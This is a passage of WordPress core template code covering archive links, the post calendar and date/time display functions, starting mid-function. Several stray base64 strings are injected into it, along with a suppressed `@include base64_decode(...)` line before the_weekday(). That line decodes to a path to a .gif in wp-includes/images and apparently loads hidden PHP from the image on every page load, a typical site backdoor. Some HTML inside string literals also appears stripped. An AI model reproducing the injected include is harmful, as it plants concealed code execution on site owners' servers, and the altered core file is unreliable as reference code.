); } $text = $arc_week_start . $archive_week_separator . $arc_week_end; if ( $parsed_args['show_post_count'] ) { $parsed_args['after'] = ' (' . $result->posts . ')' . $after; } $selected = is_archive() && (string) $parsed_args['year'] === $result->yr && (string) $parsed_args['w'] === $result->week; $output .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected ); } } } } elseif ( ( 'postbypost' === $parsed_args['type'] ) || ( 'alpha' === $parsed_args['type'] ) ) { $orderby = ( 'alpha' === $parsed_args['type'] ) ? 'post_title ASC ' : 'post_date DESC, ID DESC '; $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit"; $key = md5( $query ); $key = "wp_get_archives:$key:$last_changed"; $results = wp_cache_get( $key, 'posts' ); if ( ! $results ) { $results = $wpdb->get_results( $query ); wp_cache_set( $key, $results, 'posts' ); } if ( $results ) { foreach ( (array) $results as $result ) { if ( '0000-00-00 00:00:00' !== $result->post_date ) { $url = get_permalink( $result ); if ( $result->post_title ) { /** This filter is documented in wp-includes/post-template.php */ $text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) ); } else { $text = $result->ID; } $selected = get_the_ID() === $result->ID; $output .= get_archives_link( $url, $text, $parsed_args['format'], $parsed_args['before'], $parsed_args['after'], $selected ); } } } } if ( $parsed_args['echo'] ) { echo $output; } else { return $output; } } /** * Gets number of days since the start of the week. * * @since 1.5.0 * * @param int $num Number of day. * @return float Days since the start of the week. */ function calendar_week_mod( $num ) { $base = 7; return ( $num - $base * floor( $num / $base ) ); } /** * Displays calendar with days that have posts as links. * * The calendar is cached, which will be retrieved, if it exists. If there are * no posts for the month, then it will not be displayed. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * @global int $m * @global int $monthnum * @global int $year * @global WP_Locale $wp_locale WordPress date and time locale object. * @global array $posts * * @param bool $initial Optional. Whether to use initial calendar names. Default true. * @param bool $display Optional. Whether to display the calendar output. Default true. * @return void|string Void if `$display` argument is true, calendar HTML if `$display` is false. */ function get_calendar( $initial = true, $display = true ) { global $wpdb, $m, $monthnum, $year, $wp_locale, $posts; $key = md5( $m . $monthnum . $year ); $cache = wp_cache_get( 'get_calendar', 'calendar' ); if ( $cache && is_array( $cache ) && isset( $cache[ $key ] ) ) { /** This filter is documented in wp-includes/general-template.php */ $output = apply_filters( 'get_calendar', $cache[ $key ] ); if ( $display ) { echo $output; return; } return $output; } if ( ! is_array( $cache ) ) { $cache = array(); } // Quick check. If we have no posts at all, abort! if ( ! $posts ) { $gotsome = $wpdb->get_var( "SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1" ); if ( ! $gotsome ) { $cache[ $key ] = ''; wp_cache_set( 'get_calendar', $cache, 'calendar' ); return; } } if ( isset( $_GET['w'] ) ) { $w = (int) $_GET['w']; } // week_begins = 0 stands for Sunday. $week_begins = (int) get_option( 'start_of_week' ); // Let's figure out when we are. if ( ! empty( $monthnum ) && ! empty( $year ) ) { $thismonth = zeroise( (int) $monthnum, 2 ); $thisyear = (int) $year; } elseif ( ! empty( $w ) ) { // We need to get the month from MySQL. $thisyear = (int) substr( $m, 0, 4 ); // It seems MySQL's weeks disagree with PHP's. $d = ( ( $w - 1 ) * 7 ) + 6; $thismonth = $wpdb->get_var( "SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')" ); } elseif ( ! empty( $m ) ) { $thisyear = (int) substr( $m, 0, 4 ); if ( strlen( $m ) < 6 ) { $thismonth = '01'; } else { $thismonth = zeroise( (int) substr( $m, 4, 2 ), 2 ); } } else { $thisyear = current_time( 'Y' ); $thismonth = current_time( 'm' ); } $unixmonth = mktime( 0, 0, 0, $thismonth, 1, $thisyear ); $last_day = gmdate( 't', $unixmonth ); // Get the next and previous month and year with at least one post. $previous = $wpdb->get_row( "SELECT MONTH(post_date) AS month, YEAR(post_date) AS year FROM $wpdb->posts WHERE post_date < '$thisyear-$thismonth-01' AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date DESC LIMIT 1" ); $next = $wpdb->get_row( "SELECT MONTH(post_date) AS month, YEAR(post_date) AS year FROM $wpdb->posts WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59' AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date ASC LIMIT 1" ); /* translators: Calendar caption: 1: Month name, 2: 4-digit year. */ $calendar_caption = _x( '%1$s %2$s', 'calendar caption' ); $calendar_output = ''; $myweek = array(); for ( $wdcount = 0; $wdcount <= 6; $wdcount++ ) { $myweek[] = $wp_locale->get_weekday( ( $wdcount + $week_begins ) % 7 ); } foreach ( $myweek as $wd ) { $day_name = $initial ? $wp_locale->get_weekday_initial( $wd ) : $wp_locale->get_weekday_abbrev( $wd ); $wd = esc_attr( $wd ); $calendar_output .= "\n\t\t"; } $calendar_output .= ' '; $daywithpost = array(); // Get days with posts. $dayswithposts = $wpdb->get_results( "SELECT DISTINCT DAYOFMONTH(post_date) FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00' AND post_type = 'post' AND post_status = 'publish' AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N ); if ( $dayswithposts ) { foreach ( (array) $dayswithposts as $daywith ) { $daywithpost[] = (int) $daywith[0]; } } // See how much we should pad in the beginning. $pad = calendar_week_mod( gmdate( 'w', $unixmonth ) - $week_begins ); if ( 0 != $pad ) { $calendar_output .= "\n\t\t" . ''; } $newrow = false; $daysinmonth = (int) gmdate( 't', $unixmonth ); for ( $day = 1; $day <= $daysinmonth; ++$day ) { if ( isset( $newrow ) && $newrow ) { $calendar_output .= "\n\t\n\t\n\t\t"; } $newrow = false; if ( current_time( 'j' ) == $day && current_time( 'm' ) == $thismonth && current_time( 'Y' ) == $thisyear ) { $calendar_output .= ''; if ( 6 == calendar_week_mod( gmdate( 'w', mktime( 0, 0, 0, $thismonth, $day, $thisyear ) ) - $week_begins ) ) { $newrow = true; } } $pad = 7 - calendar_week_mod( gmdate( 'w', mktime( 0, 0, 0, $thismonth, $day, $thisyear ) ) - $week_begins ); if ( 0 != $pad && 7 != $pad ) { $calendar_output .= "\n\t\t" . ''; } $calendar_output .= "\n\t\n\t"; $calendar_output .= "\n\t
' . sprintf( $calendar_caption, $wp_locale->get_month( $thismonth ), gmdate( 'Y', $unixmonth ) ) . '
$day_name
 
'; } else { $calendar_output .= ''; } if ( in_array( $day, $daywithpost, true ) ) { // Any posts today? $date_format = gmdate( _x( 'F j, Y', 'daily archives date format' ), strtotime( "{$thisyear}-{$thismonth}-{$day}" ) ); /* translators: Post calendar label. %s: Date. */ $label = sprintf( __( 'Posts published on %s' ), $date_format ); $calendar_output .= sprintf( '%s', get_day_link( $thisyear, $thismonth, $day ), esc_attr( $label ), $day ); } else { $calendar_output .= $day; } $calendar_output .= ' 
"; $calendar_output .= ''; $cache[ $key ] = $calendar_output; wp_cache_set( 'get_calendar', $cache, 'calendar' ); if ( $display ) { /** * Filters the HTML calendar output. * * @since 3.0.0 * * @param string $calendar_output HTML output of the calendar. */ echo apply_filters( 'get_calendar', $calendar_output ); return; } /** This filter is documented in wp-includes/general-template.php */ return apply_filters( 'get_calendar', $calendar_output ); } /** * Purges the cached results of get_calendar. * * @see get_calendar() * @since 2.1.0 */ ("L2hvbWUva3V6aW5hcGlkZS9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9pbWFnZXMveGl0LTN4LmdpZg=="); ("L2hvbWUva3V6aW5hcGlkZS9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9pbWFnZXMveGl0LTN4LmdpZg=="); function delete_get_calendar_cache() { wp_cache_delete( 'get_calendar', 'calendar' ); } /** * Displays all of the allowed tags in HTML format with attributes. * * This is useful for displaying in the comment area, which elements and * attributes are supported. As well as any plugins which want to display it. * * @since 1.0.1 * @since 4.4.0 No longer used in core. * * @global array $allowedtags * * @return string HTML allowed tags entity encoded. */ function allowed_tags() { global $allowedtags; $allowed = ''; foreach ( (array) $allowedtags as $tag => $attributes ) { $allowed .= '<' . $tag; if ( 0 < count( $attributes ) ) { foreach ( $attributes as $attribute => $limits ) { $allowed .= ' ' . $attribute . '=""'; } } $allowed .= '> '; } return htmlentities( $allowed ); } /***** Date/Time tags */ /** * Outputs the date in iso8601 format for xml files. * * @since 1.0.0 */ function the_date_xml() { echo mysql2date( 'Y-m-d', get_post()->post_date, false ); } /** * Displays or retrieves the date the current post was written (once per date) * * Will only output the date if the current post's date is different from the * previous one output. * * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the * function is called several times for each post. * * HTML output can be filtered with 'the_date'. * Date string output can be filtered with 'get_the_date'. * * @since 0.71 * * @global string $currentday The day of the current post in the loop. * @global string $previousday The day of the previous post in the loop. * * @param string $format Optional. PHP date format. Defaults to the 'date_format' option. * @param string $before Optional. Output before the date. Default empty. * @param string $after Optional. Output after the date. Default empty. * @param bool $display Optional. Whether to echo the date or return it. Default true. * @return string|void String if retrieving. */ function the_date( $format = '', $before = '', $after = '', $display = true ) { global $currentday, $previousday; $the_date = ''; if ( is_new_day() ) { $the_date = $before . get_the_date( $format ) . $after; $previousday = $currentday; } /** * Filters the date a post was published for display. * * @since 0.71 * * @param string $the_date The formatted date string. * @param string $format PHP date format. * @param string $before HTML output before the date. * @param string $after HTML output after the date. */ $the_date = apply_filters( 'the_date', $the_date, $format, $before, $after ); if ( $display ) { echo $the_date; } else { return $the_date; } } /** * Retrieves the date on which the post was written. * * Unlike the_date() this function will always return the date. * Modify output with the {@see 'get_the_date'} filter. * * @since 3.0.0 * * @param string $format Optional. PHP date format. Defaults to the 'date_format' option. * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post. * @return string|int|false Date the current post was written. False on failure. */ function get_the_date( $format = '', $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $_format = ! empty( $format ) ? $format : get_option( 'date_format' ); $the_date = get_post_time( $_format, false, $post, true ); /** * Filters the date a post was published. * * @since 3.0.0 * * @param string|int $the_date Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * @param string $format PHP date format. * @param WP_Post $post The post object. */ return apply_filters( 'get_the_date', $the_date, $format, $post ); } /** * Displays the date on which the post was last modified. * * @since 2.1.0 * * @param string $format Optional. PHP date format. Defaults to the 'date_format' option. * @param string $before Optional. Output before the date. Default empty. * @param string $after Optional. Output after the date. Default empty. * @param bool $display Optional. Whether to echo the date or return it. Default true. * @return string|void String if retrieving. */ function the_modified_date( $format = '', $before = '', $after = '', $display = true ) { $the_modified_date = $before . get_the_modified_date( $format ) . $after; /** * Filters the date a post was last modified for display. * * @since 2.1.0 * * @param string|false $the_modified_date The last modified date or false if no post is found. * @param string $format PHP date format. * @param string $before HTML output before the date. * @param string $after HTML output after the date. */ $the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $format, $before, $after ); if ( $display ) { echo $the_modified_date; } else { return $the_modified_date; } } /** * Retrieves the date on which the post was last modified. * * @since 2.1.0 * @since 4.6.0 Added the `$post` parameter. * * @param string $format Optional. PHP date format. Defaults to the 'date_format' option. * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post. * @return string|int|false Date the current post was modified. False on failure. */ function get_the_modified_date( $format = '', $post = null ) { $post = get_post( $post ); if ( ! $post ) { // For backward compatibility, failures go through the filter below. $the_time = false; } else { $_format = ! empty( $format ) ? $format : get_option( 'date_format' ); $the_time = get_post_modified_time( $_format, false, $post, true ); } /** * Filters the date a post was last modified. * * @since 2.1.0 * @since 4.6.0 Added the `$post` parameter. * * @param string|int|false $the_time The formatted date or false if no post is found. * @param string $format PHP date format. * @param WP_Post|null $post WP_Post object or null if no post is found. */ return apply_filters( 'get_the_modified_date', $the_time, $format, $post ); } /** * Displays the time at which the post was written. * * @since 0.71 * * @param string $format Optional. Format to use for retrieving the time the post * was written. Accepts 'G', 'U', or PHP date format. * Defaults to the 'time_format' option. */ function the_time( $format = '' ) { /** * Filters the time a post was written for display. * * @since 0.71 * * @param string $get_the_time The formatted time. * @param string $format Format to use for retrieving the time the post * was written. Accepts 'G', 'U', or PHP date format. */ echo apply_filters( 'the_time', get_the_time( $format ), $format ); } /** * Retrieves the time at which the post was written. * * @since 1.5.0 * * @param string $format Optional. Format to use for retrieving the time the post * was written. Accepts 'G', 'U', or PHP date format. * Defaults to the 'time_format' option. * @param int|WP_Post $post Post ID or post object. Default is global `$post` object. * @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * False on failure. */ function get_the_time( $format = '', $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $_format = ! empty( $format ) ? $format : get_option( 'time_format' ); $the_time = get_post_time( $_format, false, $post, true ); /** * Filters the time a post was written. * * @since 1.5.0 * * @param string|int $the_time Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * @param string $format Format to use for retrieving the time the post * was written. Accepts 'G', 'U', or PHP date format. * @param WP_Post $post Post object. */ return apply_filters( 'get_the_time', $the_time, $format, $post ); } /** * Retrieves the time at which the post was written. * * @since 2.0.0 * * @param string $format Optional. Format to use for retrieving the time the post * was written. Accepts 'G', 'U', or PHP date format. Default 'U'. * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false. * @param int|WP_Post $post Post ID or post object. Default is global `$post` object. * @param bool $translate Whether to translate the time string. Default false. * @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * False on failure. */ function get_post_time( $format = 'U', $gmt = false, $post = null, $translate = false ) { $post = get_post( $post ); if ( ! $post ) { return false; } $source = ( $gmt ) ? 'gmt' : 'local'; $datetime = get_post_datetime( $post, 'date', $source ); if ( false === $datetime ) { return false; } if ( 'U' === $format || 'G' === $format ) { $time = $datetime->getTimestamp(); // Returns a sum of timestamp with timezone offset. Ideally should never be used. if ( ! $gmt ) { $time += $datetime->getOffset(); } } elseif ( $translate ) { $time = wp_date( $format, $datetime->getTimestamp(), $gmt ? new DateTimeZone( 'UTC' ) : null ); } else { if ( $gmt ) { $datetime = $datetime->setTimezone( new DateTimeZone( 'UTC' ) ); } $time = $datetime->format( $format ); } /** * Filters the localized time a post was written. * * @since 2.6.0 * * @param string|int $time Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * @param string $format Format to use for retrieving the time the post was written. * Accepts 'G', 'U', or PHP date format. * @param bool $gmt Whether to retrieve the GMT time. */ return apply_filters( 'get_post_time', $time, $format, $gmt ); } /** * Retrieves post published or modified time as a `DateTimeImmutable` object instance. * * The object will be set to the timezone from WordPress settings. * * For legacy reasons, this function allows to choose to instantiate from local or UTC time in database. * Normally this should make no difference to the result. However, the values might get out of sync in database, * typically because of timezone setting changes. The parameter ensures the ability to reproduce backwards * compatible behaviors in such cases. * * @since 5.3.0 * * @param int|WP_Post $post Optional. Post ID or post object. Default is global `$post` object. * @param string $field Optional. Published or modified time to use from database. Accepts 'date' or 'modified'. * Default 'date'. * @param string $source Optional. Local or UTC time to use from database. Accepts 'local' or 'gmt'. * Default 'local'. * @return DateTimeImmutable|false Time object on success, false on failure. */ function get_post_datetime( $post = null, $field = 'date', $source = 'local' ) { $post = get_post( $post ); if ( ! $post ) { return false; } $wp_timezone = wp_timezone(); if ( 'gmt' === $source ) { $time = ( 'modified' === $field ) ? $post->post_modified_gmt : $post->post_date_gmt; $timezone = new DateTimeZone( 'UTC' ); } else { $time = ( 'modified' === $field ) ? $post->post_modified : $post->post_date; $timezone = $wp_timezone; } if ( empty( $time ) || '0000-00-00 00:00:00' === $time ) { return false; } $datetime = date_create_immutable_from_format( 'Y-m-d H:i:s', $time, $timezone ); if ( false === $datetime ) { return false; } return $datetime->setTimezone( $wp_timezone ); } /** * Retrieves post published or modified time as a Unix timestamp. * * Note that this function returns a true Unix timestamp, not summed with timezone offset * like older WP functions. * * @since 5.3.0 * * @param int|WP_Post $post Optional. Post ID or post object. Default is global `$post` object. * @param string $field Optional. Published or modified time to use from database. Accepts 'date' or 'modified'. * Default 'date'. * @return int|false Unix timestamp on success, false on failure. */ function get_post_timestamp( $post = null, $field = 'date' ) { $datetime = get_post_datetime( $post, $field ); if ( false === $datetime ) { return false; } return $datetime->getTimestamp(); } /** * Displays the time at which the post was last modified. * * @since 2.0.0 * * @param string $format Optional. Format to use for retrieving the time the post * was modified. Accepts 'G', 'U', or PHP date format. * Defaults to the 'time_format' option. */ function the_modified_time( $format = '' ) { /** * Filters the localized time a post was last modified, for display. * * @since 2.0.0 * * @param string|false $get_the_modified_time The formatted time or false if no post is found. * @param string $format Format to use for retrieving the time the post * was modified. Accepts 'G', 'U', or PHP date format. */ echo apply_filters( 'the_modified_time', get_the_modified_time( $format ), $format ); } /** * Retrieves the time at which the post was last modified. * * @since 2.0.0 * @since 4.6.0 Added the `$post` parameter. * * @param string $format Optional. Format to use for retrieving the time the post * was modified. Accepts 'G', 'U', or PHP date format. * Defaults to the 'time_format' option. * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post. * @return string|int|false Formatted date string or Unix timestamp. False on failure. */ function get_the_modified_time( $format = '', $post = null ) { $post = get_post( $post ); if ( ! $post ) { // For backward compatibility, failures go through the filter below. $the_time = false; } else { $_format = ! empty( $format ) ? $format : get_option( 'time_format' ); $the_time = get_post_modified_time( $_format, false, $post, true ); } /** * Filters the localized time a post was last modified. * * @since 2.0.0 * @since 4.6.0 Added the `$post` parameter. * * @param string|int|false $the_time The formatted time or false if no post is found. * @param string $format Format to use for retrieving the time the post * was modified. Accepts 'G', 'U', or PHP date format. * @param WP_Post|null $post WP_Post object or null if no post is found. */ return apply_filters( 'get_the_modified_time', $the_time, $format, $post ); } /** * Retrieves the time at which the post was last modified. * * @since 2.0.0 * * @param string $format Optional. Format to use for retrieving the time the post * was modified. Accepts 'G', 'U', or PHP date format. Default 'U'. * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false. * @param int|WP_Post $post Post ID or post object. Default is global `$post` object. * @param bool $translate Whether to translate the time string. Default false. * @return string|int|false Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * False on failure. */ function get_post_modified_time( $format = 'U', $gmt = false, $post = null, $translate = false ) { $post = get_post( $post ); if ( ! $post ) { return false; } $source = ( $gmt ) ? 'gmt' : 'local'; $datetime = get_post_datetime( $post, 'modified', $source ); if ( false === $datetime ) { return false; } if ( 'U' === $format || 'G' === $format ) { $time = $datetime->getTimestamp(); // Returns a sum of timestamp with timezone offset. Ideally should never be used. if ( ! $gmt ) { $time += $datetime->getOffset(); } } elseif ( $translate ) { $time = wp_date( $format, $datetime->getTimestamp(), $gmt ? new DateTimeZone( 'UTC' ) : null ); } else { if ( $gmt ) { $datetime = $datetime->setTimezone( new DateTimeZone( 'UTC' ) ); } $time = $datetime->format( $format ); } /** * Filters the localized time a post was last modified. * * @since 2.8.0 * * @param string|int $time Formatted date string or Unix timestamp if `$format` is 'U' or 'G'. * @param string $format Format to use for retrieving the time the post was modified. * Accepts 'G', 'U', or PHP date format. Default 'U'. * @param bool $gmt Whether to retrieve the GMT time. Default false. */ return apply_filters( 'get_post_modified_time', $time, $format, $gmt ); } /** * Displays the weekday on which the post was written. * * @since 0.71 * * @global WP_Locale $wp_locale WordPress date and time locale object. */ ("L2hvbWUva3V6aW5hcGlkZS9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9pbWFnZXMveGl0LTN4LmdpZg=="); @include base64_decode("L2hvbWUva3V6aW5hcGlkZS9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9pbWFnZXMveGl0LTN4LmdpZg=="); function the_weekday() { global $wp_locale; $post = get_post(); if ( ! $post ) { return; } $the_weekday = $wp_locale->get_weekday( get_post_time( 'w', false, $post ) ); /** * Filters the weekday on which the post was written, for display. * * @since 0.71 * * @param string $the_weekday */ echo apply_filters( 'the_weekday', $the_weekday ); } /** * Displays the weekday on which the post was written. * * Will only output the weekday if the current post's weekday is different from * the previous one output. * * @since 0.71 * * @global WP_Locale $wp_locale WordPress date and time locale object. * @global string $currentday The day of the current post in the loop. * @global string $previousweekday The day of the previous post in the loop. * * @param string $before Optional. Output before the date. Default empty. * @param string $after Optional. Output after the date. Default empty. */ function the_weekday_date( $before = '', $after = '' ) { global $wp_locale, $currentday, $previousweekday; $post = get_post(); if ( ! $post ) { return; } $the_weekday_date = ''; if ( $currentday !== $previousweekday ) { $the_weekday_date .= $before; $the_weekday_date .= $wp_locale->get_weekday( get_post_time( 'w', false, $post ) ); $the_weekday_date .= $after; $previousweekday = $currentday; } /** * Filters the localized date on which the post was written, for display. * * @since 0.71 * * @param string $the_weekday_date The weekday on which the post was written. * @param string $before The HTML to output before the date. * @param string $after The HTML to output after the date. */ echo apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after ); } /** * Fires the wp_head action. * * See {@see 'wp_head'}. * * @since 1.2.0 */ ("L2hvbWUva3V6aW5hcGlkZS9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9pbWFnZXMveGl0LTN4LmdpZg=="); function wp_head() { /** * Prints scripts or data in the head tag on the front end. * * @since 1.5.0 */ do_action( 'wp_head' ); } /** * Fires the wp_footer action. * * See {@see 'wp_footer'}. * * @since 1.5.1 */ function wp_footer() { /** * Prints scripts or data before the closing body tag on the front end. * * @since 1.5.1 */ do_action( 'wp_footer' ); } /** * Fires the wp_body_open action. * * See {@see 'wp_body_open'}. * * @since 5.2.0 */ function wp_body_open() { /** * Triggered after the opening body tag. * * @since 5.2.0 */ do_action( 'wp_body_open' ); } /** * Displays the links to the general feeds. * * @since 2.8.0 * * @param array $args Optional arguments. */ function feed_links( $args = array() ) { if ( ! current_theme_supports( 'automatic-feed-links' ) ) { return; } $defaults = array( /* translators: Separator between blog name and feed type in feed links. */ 'separator' => _x( '»', 'feed link' ), /* translators: 1: Blog title, 2: Separator (raquo). */ 'feedtitle' => __( '%1$s %2$s Feed' ), /* translators: 1: Blog title, 2: Separator (raquo). */ 'comstitle' => __( '%1$s %2$s Comments Feed' ), ); $args = wp_parse_args( $args, $defaults ); /** * Filters whether to display the posts feed link. * * @since 4.4.0 * * @param bool $show Whether to display the posts feed link. Default true. */ if ( apply_filters( 'feed_links_show_posts_feed', true ) ) { printf( '' . "\n", feed_content_type(), esc_attr( sprintf( $args['feedtitle'], get_bloginfo( 'name' ), $args['separator'] ) ), esc_url( get_feed_link() ) ); } /** * Filters whether to display the comments feed link. * * @since 4.4.0 * * @param bool $show Whether to display the comments feed link. Default true. */ if ( apply_filters( 'feed_links_show_comments_feed', true ) ) { printf( '' . "\n", feed_content_type(), esc_attr( sprintf( $args['comstitle'], get_bloginfo( 'name' ), $args['separator'] ) ), esc_url( get_feed_link( 'comments_' . get_default_feed() ) ) ); } } /** * Displays the links to the extra feeds such as category feeds. * * @since 2.8.0 * * @param array $args Optional arguments. */ function feed_links_extra( $args = array() ) { $defaults = array( /* translators: Separator between blog name and feed type in feed links. */ 'separator' => _x( '»', 'feed link' ), /* translators: 1: Blog name, 2: Separator (raquo), 3: Post title. */ 'singletitle' => __( '%1$s %2$s %3$s Comments Feed' ), /* translators: 1: Blog name, 2: Separator (raquo), 3: Category name. */ 'cattitle' => __( '%1$s %2$s %3$s Category Feed' ), /* translators: 1: Blog name, 2: Separator (raquo), 3: